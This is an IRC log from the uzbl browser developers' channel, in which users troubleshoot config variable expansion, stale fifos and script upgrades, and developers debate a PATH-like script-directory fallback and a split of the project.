17:12 < UukGoblin> I've just started looking at uzbl, it's an awesome idea
17:12 < rob|> slyson: print @foo
17:13 < rob|> and paste the output..
17:14 < UukGoblin> but I've noticed javascript is still a lot faster in google-chrome, most likely because they use V8 as the javascript engine... I guess that's up to webkit to start using it?
17:14 < rob|> UukGoblin: right
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17:19 < UukGoblin> and I guess that's a FAQ, but how do I make it scroll a webpage rather than display one huge X window?
17:19 < rob|> that's a webkit bug
17:19 < scj> erm. 'feature'
17:19 < slyson> am I meant to type this in to the terminal while uzbl -c - is running? if not I'm just getting @foo repeated back to me.
17:19 < rob|> slyson: yes exactly
17:20 < rob|> are you running an old version or something? i tested with latest master..
17:21 < rob|> UukGoblin: not sure which webkit version introduced it, though 1.1.14 does fix it
17:21 < lich> damn, I wish I could pass an url to uzbl_tabbed and open it as a new tab :(
17:21 < rob|> lich: you can
17:21 < lich> rob|: explain please
17:21 < UukGoblin> rob|, ah, thanks
17:21 < lich> if this works then my urxvt will open links in uzbl from now on :D
17:22 < rob|> lich: http://www.uzbl.org/wiki/uzbl_tabbed#controlling_uzbl_tabbed.py_from_its_fifo_socket
17:22 < lich> danke
17:22 < rob|> bitte ;)
17:23 < lich> I might sound dumb, but I didn't mess with the fifo at all...how exactly does one send commands? I asume I write the cmd to the file, but how do I get the fifo file name from the terminal?
17:23 < rob|> lich: http://dpaste.com/97667/ my urxvt launcher script..
17:23 < lich> rob|: oh thanks
17:24 < lich> /tmp/uzbltabbed
17:24 < lich> that custom fifo or already in default?
17:24 < UukGoblin> hm
17:24 < rob|> lich: uzbl_tabbed does name its fifo following that scheme
17:24 < UukGoblin> ok just asked webkit folks and it seems they're not planning on using V8
17:25 < rob|> UukGoblin: i bet they are open to patches, though :P
17:26 < lich> rob|:  /tmp/uzbltabbed_5109: No such file or directory
17:26 < UukGoblin> ah, it seems they have SquirrelFish
17:26 < lich> might have some leftovers
17:27 < scj> javascriptcore is plenty fast, though
17:27 < rob|> lich: there are probably stale fifos there, close uzb, rm /tmp/uzbl* and try again
17:27 < lich> yes doing it now
17:28 < lich> ls: cannot access /tmp/uzbltabbed*: No such file or directory
17:28 < UukGoblin> scj, well, I tested google maps... and it scrolls a hell of a lot faster in google chrome
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17:28 < UukGoblin> I am using an old version of webkit however ;-/
17:29 < rob|> lich: that script is pretty dumb, you must an uzbl_tabbed instance already running
17:29 < rob|> lich: or just modify it to your likings
17:29 < lich> rob|: yeah just found that out
17:29 < lich> I'll rewrite when I get home, make it check if there is already a fifo, if not, start a new instance
17:29 < lich> too bad we can;t check if they're leftovers or actual fifos..
17:30 < rob|> right, i just start a normal uzbl instance if there is no tabbed one running
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17:34 < slyson> I don't know if you wanted me to enter it directly into the running uzbl but it just says timed out waiting for socket and closes. Running print @foo from the terminal after trying to set it just returns @foo for me.
17:35 < rob|> slyson: no, you should enter it in the terminal from which you started uzbl~
17:36 < slyson> yea I did and all I got back was @foo. I'm not even sure if it recognises @. I use zsh.
17:37 < rob|> ok let me rephrase, in a terminal type:  uzbl -c -
17:37 < rob|> a uzbl will pop up
17:37 < rob|> now in the same terminal type: set foo = $HOME/something
17:37 < rob|> and: print @foo
17:37 < rob|> this commands will be interpreted by uzbl and not by the shell
17:40 < slyson> I tried this, but I don't get return output. Also it closes after a short while.
17:40 < slyson> I launch with uzbl-browser. I don't know if that makes a difference.
17:41 < rob|> ah, sure that makes a difference
17:41 < rob|> so you're running experimental
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17:41 < rob|> in that case just replace uzbl with uzbl-core and do the same
17:43 < slyson> yes it prints /home/joe/test correctly.
17:44 < rob|> right, so env vars are expanded
17:45 < slyson> yes, it still doesn't expand them from the config file though. I'm using the example configs.
17:46 < scj> if it expands $HOME when you type it into a terminal, it will expand when reading from the config file
17:46 < scj> your problem is located elsewhere
17:46 < rob|> indeed
17:48 < rob|> my guess is that your config is not where it should be
17:48 < slyson> so why does the output report e.g., "error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/history.sh" (No such file or directory)". That file does exist.
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17:49 < lich> is it executable? not sure if it would spit out that error...but who knows
17:49 < slyson> yea I've made sure. My config file is in ~/.config/uzbl/config
17:49 < slyson> and my data is in ~/.local/share/uzbl
17:50 < lich> the error have expanded $XDG_DATA_HOME, or am I wrong?
17:50 < lich> should have*
17:50 < slyson> that is an exact copy/paste of the output
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17:51 < lich> that's what I'm saying, usually errors like this expand variables
17:52 < lich> so for some reason whatever issued that error didn't
17:53 < slyson> yes that is what I am getting at. Is it related to this? http://www.uzbl.org/bugs/index.php?do=details&task_id=51&project=1&pagenum=3
17:55 < scj> didn't you say you had the xdg variables set?
17:55 < lich> did you echo $XDG_DATA_HOME?
17:56 < lich> see if it's set
17:57 < slyson> yea it is
17:57 < lich> to /home/bla/.local/share ?
17:58 < lich> I'm guessing it's an issut from the config file then...or uzbl's parser
17:58 < lich> issue*
17:59 < lich> do other scripts work?
17:59 < slyson> yea. well when I change anything in the config file to use an absolute like /home/joe the scripts start working.
17:59 < slyson> which I don't mind doing for now as it only takes a find and replace, but I'd prefer to sort it out now so I don't forget and wonder why something isn't working later
17:59 < lich> is that script the one that comes with uzbl? or custom one?
18:00 < slyson> they are the ones from the example folder copied over
18:00 < lich> this is indeed weird
18:00 < lich> did you post your config somewhere?
18:00 < slyson> no
18:01 < lich> http://www.uzbl.org/bugs/index.php?do=details&task_id=51&project=1&pagenum=3
18:01 < lich> tried that sh() thing?
18:06 < slyson> yea doesn't work for me
18:07 < rob|> slyson: i'll look at that in a moment
18:07 < lich> then there's somethign wrong with your config I believe
18:07 < lich> slyson: paste the config somewhere
18:09 < slyson> http://pastebin.com/md504abf
18:10 < lich> slyson: did you try quoting is as a string?
18:10 < lich> not sure that would help, but can't hurt
18:12 < slyson> I just tried. Sadly it doesn't.
18:13 < lich> everything looks fine to me..weird problem you got there
18:13 < lich> only thing left to blame now would be the parser
18:13 < slyson> I know. I tried running it in a clean bash shell no fancy binds as well.
18:15 < rob|> yes, it's most definitly a problem with the parser not calling parseenv() in certain cases
18:15 < rob|> i'll investigate and patch it in a moment
18:15 < lich> rob|: but what's weird is that he's the only one getting this
18:15 < slyson> ok thanks
18:15 < lich> slyson: is this a clean install?
18:16 < slyson> yea i reinstalled the other day. although I do tend to mess about more than ever on a fresh install...
18:16 < lich> I meant uzbl fresh, this has nothing to do with the OS, if that's what you're refering to
18:16 < rob|> lich: no, he is running experimental and some things have changed thete
18:16 < rob|> *there
18:16 < slyson> well both. i installed it from Arch's aur and copied over the scripts, just making sure to change the paths
18:16 < lich> oh
18:17 < lich> I don't touch experimental stuff
18:21 < UukGoblin> hm, OK, back here
18:22 < UukGoblin> can someone compare google maps scrolling experience in uzbl and google chrome?
18:22 < UukGoblin> cause it seems a lot faster in chrome
18:22 < UukGoblin> but I don't understand why :-/ webkit's squirrelfish comes up faster in benchmarks than v8...
18:22 < lich> I notices some nasty stuff with scrolling too
18:22 < UukGoblin> it's not exactly scrolling of a webpage, it's scrolling of the map
18:22 < lich> when on arch forums, if a codebox is lenghtier than the width of the window, l doesn't scroll or something
18:29 < rob|> slyson: please pull and try again
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18:29 < github> uzbl: Robert Manea experimental SHA1-5687e6a
18:29 < github> fix shell var expansion in event messages
18:29 < github> http://bit.ly/gInJb
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18:34 < rob|> this whole shell var expansion feels quite dirty, though
18:34 < rob|> as parseenv() does not have any means to escape the vars
18:35 < rob|> and we do have our own vars plus means to run commands ans get their output
18:36 < rob|> slyson: please report bacj if that fixes the issue for you, thanks
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19:12 < slyson> rob|: yes thanks very much, that fixed the problem
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19:51 < rob|> slyson: sure thing :)
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19:55 < github> uzbl: Robert Manea experimental SHA1-ccdbf76
19:55 < github> add missing g_free()
19:55 < github> http://bit.ly/W14r5
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21:52 < Dieterbe> evening gentlemen
21:53 < holizz> Hullo.
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22:05 < slyson> hi. back again. I have a script that works in uzbl-git by calling it at the end of the config with sh "$XDG_DATA_HOME/uzbl/scripts/quickmarks.sh > $4" It doesn't seem to do anything in uzbl-experimental-git. Do I have to load it another way?
22:07 < slyson> the script itself: http://bbs.archlinux.org/viewtopic.php?pid=571312#p571312
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22:28 < YamiFrankc> Hi. Started using uzbl with the conf. file alrady :). It seems i dont have any script under $XDG_DATA_HOME/uzbl/scripts ... and the default config files list them as bind of B,U,u,etc.
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03:04 < Masca> I got stucked a "<EVENT [----] KEY_RELEASE EVENT [---] KEY_PRESS Shift><EVENT [---] KEY_RELEASE space>" being --- the same number, and now I can't send any command to uzbl.
03:04 < Masca> How can I release that event?
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03:28 < mason-l> Masca, Can you pastebin some output?
03:28 < mason-l> I may be able to help.
03:30 < Masca> mason-l: I didn't run that instance from terminal. Just got that in the status bar.
03:31 < Masca> I'm almost sure it's waiting a KEY_RELEASE shift event, but I can't find the way to send it to it.
03:32 < Masca> It also happen with "Super" but i can get rid of it pressing and releasing Super on the window.
03:32 < mason-l> Masca, Can you run it from the terminal and pastebin some output for me then.
03:33 < Masca> Let me see if I can reproduce it.
03:33 < mason-l> Masca, And are you using the latest experimental version?
03:34 < Masca> yup, today's
03:35 < mason-l> Ok, let me know if you can reproduce it and paste up some output (so I can see what is an is not happening).
03:35 < Masca> mmm wait a minute, that window could be running a yesterday's uzbl.
03:35 < mason-l> 'and
03:36 < mason-l> Masca, Yeah, make sure the event_manager has been updated to the latest version (I.e. make sure you updated your scripts in $XDG_DATA_HOME/uzbl/scripts) after upgrading.
03:37 < Masca> Ohh, nice. just upgraded my scritps and pressed Esc and it worked.
03:38 < mason-l> :D
03:40 < mason-l> Masca, Also remember to upgrade the plugins in $XDG_DATA_HOME/uzbl/scripts/plugins/
03:40 < mason-l> Because we added a progress bar plugin not too long ago.
03:41 < mason-l> Check out the examples in the example uzbl config.
03:41 < Masca> Do the config script can set variables? so I can XDG_DATA_HOME=/usr/share/...
03:42 < Masca> ohh.. I can ln -s the scripts dir. =P
03:42 < mason-l> ^^ Thats the answer.
03:43 < Masca> yeah... too much caffeine to think clear. =P
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03:54 < Masca> you rock! upgraded my config and scripts. =)
03:56 < mason-l> :D
03:57 < mason-l> Thats just one of the awkward things about uzbl at the moment. When people upgrade uzbl through their package managers they forget that its the scripts that make the browser.
03:59 < Masca> What about looking at /usr/share/.../scripts if there is not script in XDG_DATA_HOME/uzbl/scripts/ ?
04:00 < Masca> then people can have the own scripts in ~ and it's easier to maintain the scripts.
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04:10 < mason-l> That is a possibility.
04:12 < mason-l> What would be nice is a @scripts_dir which has a $PATH like value of: $XDG_DATA_HOME:/usr/local/share/ - then - uzbl/scripts/scriptname.js
04:14 < mason-l> Dieterbe, ^^ That might be a nice feature.
04:15 < mason-l> I'll write some python to demonstrate the idea.
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04:37 < Masca> that would be really nice.
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05:17 < mason-l> Dieterbe, rob|: Whats your opinion of doing something like this inside uzbl-core (after converting it to C) http://dpaste.com/97939/
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05:18 < mason-l> That way people only copy scripts into their scripts dir if they intend to change them.
05:19 < mason-l> But this would only affect the spawn command.
05:19 < mason-l> and script
05:21 < YamiFrankc> Hi. How can i change the statusbar font?
05:21 < mason-l> And to make it work: "set scripts_dir = $XDG_DATA_HOME:/usr/local/share/uzbl/examples/data:" then "@bind fl* = script @{scripts_dir}/follow_Numbers.js %s"
05:21 < YamiFrankc> i cant seem to find where in the config...
05:21 < mason-l> YamiFrankc, Are you using master?
05:21 < YamiFrankc> yes
05:21 < mason-l> YamiFrankc, Check the status_format variable in the config
05:22 < mason-l> It will read: <span font_family="monospace">.. something something something.
05:22 < mason-l> change monospace to whatever you like.
05:24 < YamiFrankc> cool mason-l thank you :]
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05:36 < YamiFrankc> one more. How can i acces the konqueror-alike links following?
05:36 < YamiFrankc> access*
05:37 < mason-l> YamiFrankc, I don't know what you mean by konqueror-alike, I don't use konqueror.
05:38 < YamiFrankc> neither i do,lol. i mean, each link has a number,so you press that number and you follow it
05:38 < mason-l> YamiFrankc, Try the command: fl
05:39 < mason-l> then type a number.
05:40 < YamiFrankc> doesnt seem to work
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05:42 < YamiFrankc> gonna get the script, i cant find on the directory of the config
05:49 < Hunner> Hah. Blank white window bug
05:55 < mason-l> Hunner, You're getting a blank white window?
05:55 < Hunner> No, just reading the bug reports on uzbl.org
05:55 < mason-l> Ohlol.
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06:01 < Masca> Hunner: link
06:02 < Masca> I have experienced some blank white window bug today. =P
06:05 < Hunner> http://www.uzbl.org/bugs/index.php?do=details&task_id=113
06:07 < Masca> blah, not the same bug. hehe
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08:24 < rob|> morning.
08:24 < YamiFrankc> hi
08:24 < rob|> mason-l: yes, we should definitly provide a sane fallback to the XDG nightmare
08:34 < ruskie> lol
08:34 < ruskie> "nightmare"
08:34 < ruskie> :)
08:35 < rob|> well, it has one good thing - it makes lots of people join the channel just to curse about it ;)
08:36 < ruskie> well last I chkecked XDG meant the app should provide the paths unless there's env vars to overwrite them
08:37 < ruskie> how's the EM coming along though?
08:40 < rob|> pretty well, just give it a try i bet you'll be amazed :)
08:40 < YamiFrankc> em?
08:41 < ruskie> event manager
08:41 < ruskie> I think it was missing something the last time I was thinking of trying it out
08:41 < ruskie> I'll wait a bit extra
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08:51 < mason-l> Hey rob|
08:51 < mason-l> rob|, I agree.
08:52 < mason-l> And I want to have a shot writing the C code (for practice).
08:53 < rob|> sure, so i'll leave it up to you.
08:53 < mason-l> Is all the g_* functions provided by glibc?
08:53 < mason-l> 'Are
08:53 < rob|> gblib, yes
08:54 < mason-l> gblib?
08:54 < rob|> err, glib that is
08:54 < mason-l> What do you use as a reference?
08:54 < mason-l> http://www.gnu.org/s/libc/manual/html_node/index.html ?
08:55 < rob|> http://library.gnome.org/devel/glib/2.22/
08:55 < mason-l> Oh right.
08:56 < rob|> the glib guys chose a pretty stupid name if you ask me..
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09:04 < mason-l> rob|, Where is the glibc include?
09:08 < rob|> in the code you mean?
09:08 < mason-l> Yeah
09:08 < rob|> well, gtk.h already includes
09:09 < mason-l> Oh ok.
09:09 < rob|> gtk is just a "wrapper" around glib's GObject
09:09 < rob|> and i think we should do this with uzbl to
09:09 < rob|> at some point
09:10 < rob|> so people can just use g_signal_connect and friends, i.e. a stable API to access all of uzbl's features programatically
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09:12 < rob|> talking about this: http://library.gnome.org/devel/gobject/stable/
09:16 < mason-l> rob|, Actually on second thoughts, I don't actually know the uzbl-core codebase that well, you might like to write the equivalent to http://dpaste.com/97939/ in there.
09:16 < mason-l> I am practicing my C though.
09:16 < mason-l> (I need to get my "The C Programming Language" back off my friend).
09:19 < mason-l> Actually: http://dpaste.com/97988/
09:19 < mason-l> (Just fixed up that script_dir variable its only used in the example anyway)
09:20 < mason-l> And the last line should read: print parse_path(os.path.join(script_dir, 'history.sh')) anyway.
09:22 < rob|> the only issue i see with this is that the script_dir var behaves different from other vars, so wouldn't it be better to check wether the XFG vars are empty and use a "normal" script_dir uzbl var instead?
09:22 < rob|> *XDG
09:23 < rob|> we could also name it fallback_script_dir or something
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09:24 < rob|> i mean the ':' operator in your example pretty much suggests that uzbl is implementing a form of a simple if ... else .. construct which it doesn't do
09:24 < mason-l> No I don't think so because people might like to use their own custom paths like: 'set my_script_dir = $HOME/.uzbl1/:$HOME/.uzbl2/:scripts', '@bind fl* = @{my_script_dir}/follownums.js %s'
09:25 < mason-l> I was thinking more like ':' in the $PATH env variable.
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09:26 < rob|> hmm
09:27 < rob|> while i like the idea in general i don't like to introduce yet another special case that only works for _some_ variables
09:29 < mason-l> Not some variables but only the spawn command. The my_script_dir variable wouldn't be especially expanded into the first working dir in the colon separated list. This path finding would only happen on execution of the spawn command.
09:31 < rob|> hmm, i see
09:31 < rob|> so this would work with custom vars, too. and spawn would only check for the ':', i guess it got it
09:32 < rob|> anyways need to leave for an hour, will get back to you later
09:32 < mason-l> So a line like this in the config: '@bind fl* = $HOME/.uzbl1/:$HOME/.uzbl2/:scripts/follownums.js %s' and it will remain that string until the path is sent to the spawn command.
09:32 < mason-l> Ok
09:32 < mason-l> s/and it/\/
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10:22 < rob|> re
10:29 < mason-l> rob|, Broken hdd?
10:30 < rob|> yeah, it has some serious problems and the kernel sets it read only every now and then
10:30 < mason-l> Oh that.
10:30 < mason-l> Still playing up is it?
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10:34 < rob|> yeah, i wonder for how long, though
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11:53 < rob|> mason-l: well, i have a first implementation of the spawn thing, it is like:  set foo = /usr:/tmp:$HOME:executable
11:53 < rob|> and spawn @foo
11:54 < mason-l> Awesome :D
11:54 < mason-l> Great news.
11:54 < rob|> it'll be a bit tricky to separate path and executable in two places, but i guess this is good enough
11:55 < mason-l> Are all config lines rstripped?
11:56 < mason-l> Because I can see "set x = y  ", "@{y}/path/here" causing problems if its not.
11:58 < mason-l> brb dinner.
11:59 < rob|> ok
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12:07 < rob|> hmm, i'm really not sure if we really need this. it seems to work pretty well but it's quite unnecessary overhead for such a simple task
12:14 < rob|> and might lead to confusion
12:22 < rob|> i guess it would be better to test for XDG vars in parseenv() and if empty insert the default location
12:29 < rob|> of course getting rid of shell vars in the config file and replacing them with a combination of uzbl vars and command substitution would be my preffered approach to all this
12:31 < rob|> then we could do the test in the command substitution and everything would be just fine
12:34 < mason-l> Actually the main reason for me suggesting this is to keep all the scripts that you aren't planning on modifying in their default location (at /usr/local/share/uzbl/examples/data/scripts) so that when you upgrade uzbl through your package manager or make install you don't need to copy a tonne of scripts into your $XDG_DATA_HOME to make uzbl work.
12:35 < mason-l> What it inadvertently allows us to do also is define a default $XDG_{CONFIG|DATA|CACHE}_HOME location.
12:36 < mason-l> rob|, Because a large portion of bugs and problems people are having is related to not updating their scripts when they update their uzbl package.
12:37 < mason-l> This way the default example scripts provide a fallback to any the user plans on modifying.
12:38 < mason-l> rob|, Do you agree?
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13:26 < rob|> i agree on that, but i dislike introducing more and more special purpose formating into core
13:27 < rob|> e.g. we have no way to escape the ':', so at least this is a problem also be it a not very common one
13:28 < rob|> so what i'm saying is do not try to impose any meaning to the contest of vars within core
13:28 < rob|> or as much as possible
13:28 < rob|> *contents
13:28 < rob|> hehe, and as less as possible
13:28 < rob|> sry
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13:55 < rob|> mason-l: still around?
13:55 < mason-l> rob|, Yeah.
13:56 < rob|> i'll push what i currently have to my experimental, so you can take a look - if it doesn't fir i'll revert
13:57 < mason-l> rob|, Thanks, I think we are making the right decision here but if its doesn't work out I'll respect that.
13:57 < rob|> alright, done
13:58 < mason-l> Because even I sometimes have problems with the "make sure you copy over the updated scripts when you upgrade" issue.
13:58 < rob|> it works like:  set foo = /bar:$XYZ/bla:/usr:executable
13:58 < rob|> and then: spawn @foo
13:58 < mason-l> rob|, Ok, I'll set up some examples in the config and give it a shot.
13:58 < rob|> which will only spawn something if any of those path actually have a file called 'executale'
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14:01 < rob|> oh, it works on first match basis of course, just like $PATH
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14:10 < mason-l> Awesome, looks to be working: <Bind(glob=u'fl*', bid=48, command=u'script ./examples/data/uzbl:/usr/local/uzbl/examples/data:/scripts/follow_Numbers.js %s')>
14:11 < rob|> nice :)
14:11 < rob|> Dieterbe: any opinion on this?
14:11 < mason-l> rob|, Wait
14:11 < mason-l> rob|, Except for the script command also?
14:12 < rob|> yeah, just added it to spawn
14:12 < mason-l> Well so far it seems to be working :D
14:13 < mason-l> Oh actually..
14:13 < mason-l> I don't think its working correctly just yet.
14:14 < mason-l> I renamed the download & history scripts in my repo and now they won't launch but no errors show up
14:15 < mason-l> "spawn ./examples/data/uzbl:/usr/local/uzbl/examples/data:/scripts/history.sh" is an example of the expansion that isn't working.
14:15 < mason-l> oh wait
14:15 < mason-l> Aww shit
14:16 < mason-l> I missed the /usr/local/share/uzbl
14:16 < mason-l> :D
14:16 < mason-l> Operator error.
14:18 < rob|> hehe
14:19 < rob|> in any case, you should omit the trailing '/' in the "executable's" name
14:19 < rob|> so:  ./examples/data/uzbl:/usr/local/uzbl/examples/data:scripts/history.sh
14:20 < mason-l> Just noticed that also :)
14:20 < rob|> i could also check for that and strip it in code, though
14:21 < mason-l> it doesn't strip.
14:21 < mason-l> It errors when there is spaces after the path.
14:21 < rob|> space?
14:21 < mason-l> spawned: './examples/data/uzbl/scripts' './examples/config/uzbl/config' '27815' '48234528' '/tmp/uzbl_fifo_1434032157' '/tmp/uzbl_socket_1434032157' 'http://www.uzbl.org/' 'Uzbl - a browser that adheres to the unix philosophy.' '' '' '' '/history.sh' -- result: false
14:22 < rob|> and what is your input?
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14:22 < mason-l> "set scripts_dir    = $XDG_DATA_HOME/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts     "
14:23 < rob|> and what do you spawn?
14:23 < mason-l> " @on_event   LOAD_FINISH    spawn @{scripts_dir}/history.sh"
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14:26 < rob|> hmm, seems to work for me
14:26 < rob|> set foo = $XDG_DATA_HOME/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts
14:26 < rob|> spawn @foo/cookie_daemon.py
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14:26 < rob|> cookie_daemon.py: error: unknown argument ''
14:27 < rob|> note, it deesn't remove any trailing or leading whitespace
14:28 < rob|> can add that too, not a problem
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14:33 < mason-l> rob|, So do I need the {}'s around the var name in those kind of paths
14:34 < rob|> no, you only need if if the var name is followed by [a-zA-Z0-9_] that do not belong to the var..
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14:54 < mason-l> rob|, I've just pushed an updated config making use of this new ability, check it out and let me know if everything appears to be working and if you like the changes
14:54 < rob|> ok, will do
14:57 < rob|> right, looks good so far
14:57 < rob|> also added the path thing to 'script'
14:58 < mason-l> Nice, and the stripping?
14:58 < rob|> not yet. so we need to remove leading+trailing whitespace from each element and strip the '/' from the executable string if there, right?
14:59 < mason-l> Yeah, though the '/' is purely cosmetic (but it will remove confusion).
15:12 < rob|> ok, pushed
15:12 < rob|> hope i didn't forget anything..
15:13 < rob|> oh, i did
15:14 < rob|> alright, should be ok now
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15:17 < rob|> be sure to call spawn like: spawn '@path/executable' so it doesn't get confused with all that whitespace
15:25 < mason-l> So paths need quotes?
15:25 < mason-l> Stripping doesn't work?
15:26 < rob|> it does but spawn uses some indirections
15:27 < rob|> to get its arguments
15:27 < mason-l> But the paths in the config are fine as they are?
15:28 < rob|> yep, should be fine
15:30 < mason-l> rob|, Is your scheme handler executing alright?
15:31 < rob|> hmm, didn't test as i don't use that
15:31 < mason-l> Neither do I but I'm getting "(No such file or directory)" errors.
15:31 < mason-l> And I can't remember if I was before or not.
15:32 < mason-l> The path looks alright too: "./examples/data/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts/scheme.py"
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21:39 < Dieterbe> evening guys.  let me catch up ..
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22:06 < Dieterbe> 04:12:24 < mason-l> What would be nice is a @scripts_dir which has a $PATH like value of: $XDG_DATA_HOME:/usr/local/share/ - then - uzbl/scripts/scriptname.js
22:06 < Dieterbe> 04:14:25 < mason-l> Dieterbe, ^^ That might be a nice feature.
22:07 < Dieterbe> i like the idea of putting @scripts_dir in the default config.
22:07 < Dieterbe> but i think i would keep the default value of scripts_dir to be XDG_...
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22:10 < Dieterbe> mason-l: http://dpaste.com/97939/ i wouldn't put that in uzbl-core.
22:10 < Dieterbe> maybe in uzbl-browser
22:12 < Dieterbe> you know, people can also just f*** change the locations in their config if they don't like xdg.  that's even the simplest solution of them all
22:14 < scj> if you're going to use the word 'fuck', spell it the fuck out
22:14 < Dieterbe> sorry, i guess i'm a pussy
22:14 < Dieterbe> 12:34:50 < mason-l> Actually the main reason for me suggesting this is to keep all the scripts that you aren't planning on modifying in their default location (at /usr/local/share/uzbl/examples/data/scripts) so that when you upgrade uzbl through your package manager or make  install you don't need to copy a tonne of scripts into your $XDG_DATA_HOME to make uzbl work.
22:15 < Dieterbe> mason-l / rob| the way i see it, uzbl-core and uzbl-browser will become different projects, though the latter uses the former. uzbl-browser's scripts won't be in ../examples/.. anymore but more in something like /usr/lib/uzbl-browser/.. because the uzbl-browser project would actually rely on it
22:16 < Dieterbe> this way we could release a few separate uzbl based projects that come with well defined scripts and dependencies. (uzbl-browser, uzbl-browser-tabbed, ..)
22:16 < scj> sounds reasonable
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22:18 < Dieterbe> it would make uzbl-browser more userfriendly (you don't need to copy all scripts into your $HOME/.local/share/.. things will just work by default) but still you get uzbl-core to do whatever you want
22:18 < Dieterbe> mason-l / rob| i do think your "$PATH" alike stuff is a big overcomplication.. YAGNI
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22:34 < github> uzbl: Maximilian Gass experimental SHA1-6614e84
22:34 < github> uzbl-browser: fixed bashims
22:34 < github> http://bit.ly/yhlcU
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00:09 < mason-l> Dieterbe, For what it provides I do not believe its over-complication.
00:09 < mason-l> Anyway, work time.
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08:30 < Dieterbe> good morning ladies
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09:26 < rob|> morning.
09:28 < Dieterbe> hey robman
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09:58 < Dieterbe> rob|: what do you think about offering several different apps, all based on uzbl-core? and many of them sharing some scripts, but promoted to 'officially be a part of it' instead of just example scripts  e.g. the 'uzbl-browser' project would have history handler, EM and common plugins etc as plugins in /usr/lib/uzbl-browser/
09:59 < rob|> yeah, sounds good
09:59 < rob|> i would wait till we figured sync events, though
10:02 < scj> Dieterbe: I suggest that we start with version numbering uzbl-core at the project split
10:02 < Dieterbe> what's wrong with commit hashes and a git tag every +- 2 weeks?
10:02 < scj> package manager dependency resolution
10:03 < Dieterbe> okay, git tags work fine for that (git tag ~ release)
10:03 < scj> true
10:03 < scj> nvm
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11:41 < rob|> http://dpaste.com/98514/  <-- anything missing? (besides the examples of course)
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12:20 < mason-l> Afternoon guys.
12:20 < mason-l> Looks good rob|.
12:20 < rob|> hey mason
12:20 < mason-l> Would you like me to fill that in with examples?
12:20 < mason-l> Or any extra writeups
12:20 < rob|> sure, that'll be nice
12:21 < rob|> feel free to correct anything that looks odd to you (including syntax ;)
12:27 < rob|> oh, and don't forget to add your name ;)
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13:07 < Dieterbe> mason-l: / rob| maybe maintaing the article under 'docs'
13:07 < Dieterbe> and please don't merge the "path alike" stuff into mainline repo yet.  i don't really agree with it
13:07 < Dieterbe> we can discuss this further
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13:20 < mason-l> Dieterbe, For what reason? Because theres nothing but advantages so far. It allows a user to run a uzbl package installed by a package manager (or make install) without having to manually make sure that every script in /usr/local/share/uzbl/examples/data/uzbl/scripts (which is a mouthful!) is copied into the scripts folder (even if the user doesn't plan on modifying any of those scripts). This way with the "dir1:dir2:dir3:script" if the
13:20 < mason-l> user hasn't modified the individual script and moved his modified copy into $XDG_DATA_HOME/uzbl/scripts/ the the "default" or "example" script is loaded in that /usr/local/share/uzbl path. And its not a difficult syntax for anyone familiar with ... any *nix shell.
13:20 < mason-l> Because its the same syntax as the $PATH environ variable.
13:21 < mason-l> And thats just he tip of the ice-berg.
13:23 < mason-l> Imagine: "set scripts_dir = $HOME/.uzbl/tabbed:$HOME/.uzbl:scripts" which checks the tabbed/scripts/ folder in ~/.uzbl for any scripts before falling back on the main scripts folder ~/.uzbl/scripts/
13:25 < mason-l> So this avoids people having problems caused by forgetting to manually make sure that every script in /usr/local/share/uzbl/examples/data/uzbl/scripts is copied into the scripts folder after each upgrade. The user doesn't even have to copy any scripts into $XDG_DATA_HOME/uzbl/scripts/ now because the example script is used if that script isn't found in that dir.
13:26 < Dieterbe> mason-l: simple. uzbl-browser will come with the scripts in /usr/lib/uzbl-browser. and default config can point to there. if a user doesn't like it, he copies the script to wherever he likes, edits it, and makes his config point it.
13:26 < mason-l> Manually updating each path as he needs to?
13:27 < Dieterbe> you make it sound like a big deal, but it isn't
13:28 < Dieterbe> it's simple and it works fine
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13:53 < ptman> ls
13:53 < ptman> whoops, sorry
13:54 < Dieterbe> no problem sir
14:08 < mason-l> Dieterbe, I'd like to see other peoples opinion on the matter, I don't want to be the only one pushing this feature and if I am then fair enough.
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14:32 < lysgaard> Any reason the formfiller script wont fill inn an e-mail adress, it drops the '@bar' in 'foo@bar.com'. Eg, the result is: 'foo.com'
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14:34 < MichaelRaskin> lysgaard, trivial..
14:35 < MichaelRaskin> It gets some code executed by Uzbl scripting
14:35 < MichaelRaskin> Like "js something"
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14:35 < MichaelRaskin> Sure enough @bar gets variable-expanded
14:35  * MichaelRaskin is not sure @ is the best symbol to trigger substitution in web 
14:36 < lysgaard> MichaelRaskin: Hm, okay, how to escape that variable expansion then?
14:36 < MichaelRaskin> I am not sure about this
14:36 < MichaelRaskin> maybe
14:36 < MichaelRaskin> set at_comm="@"
14:36 < MichaelRaskin> foo@at_comm bar.com
14:37 < MichaelRaskin> Let me check..
14:39 < MichaelRaskin> Hm.
14:39 < MichaelRaskin> Works differently for me
14:39 < MichaelRaskin> I.e. I cannot reproduce the original problem in a convenient-to-debug situation
14:41 < lysgaard> MichaelRaskin: What i did was to update to latest git (the formfiller worked before) but now, when the formfiller tries to fill inn an email address it will be variableexpanded to nothing, eg dropped
14:41 < MichaelRaskin> I never played too much with expansions
14:48 < lysgaard> MichaelRaskin: Hm.. Can't get it to work, I got the variable expansion to let 'foo@at_comm bar.com' be 'foobar.com' but nothing closer
14:49 < MichaelRaskin> What about @@, \@ ?
14:49 < lysgaard> MichaelRaskin: I'll try
14:50 < lysgaard> MichaelRaskin: \@ works =)
14:50 < MichaelRaskin> It should have been easy
14:51 < lysgaard> You mean easier?
14:52 < lysgaard> If the formfillerscript prepended an '\' before all '@' in the fields, before it sent it to uzbl it would work better
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15:02 < MichaelRaskin> No, that it shouldn't require setting variables
15:03 < MichaelRaskin> Send a fix for formfiller..
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16:28 < rob|> Dieterbe / mason-l: well, i was sceptical about the $PATH feature too at first, but did realize that it's quite practical and can be reused in a very readable fashion all over the config
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18:19 < Dieterbe> rob|: i just don't see any use in it
18:19 < Dieterbe> other then YAGNI's
18:20 < mason-l> But I would argue that we do need this functionality.
18:20 < mason-l> But I must sleep
18:21 < mason-l> Night guys.
18:22 < Dieterbe> good night
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23:08 < slyson> hi. why doesn't the '\' character work in my binds. I'm trying to use the example config for webjumps. This is on uzbl-git.
23:10 < rob|> try \\ there have been some changes to the parser and expansion precedence
23:11 < rob|> so to answer your question every line is _first_ expanded and _then_ interpreted as command
23:15 < rob|> and to be even more precise you need to escape every occurence of @ and \ if you want these to be treated as litera characters
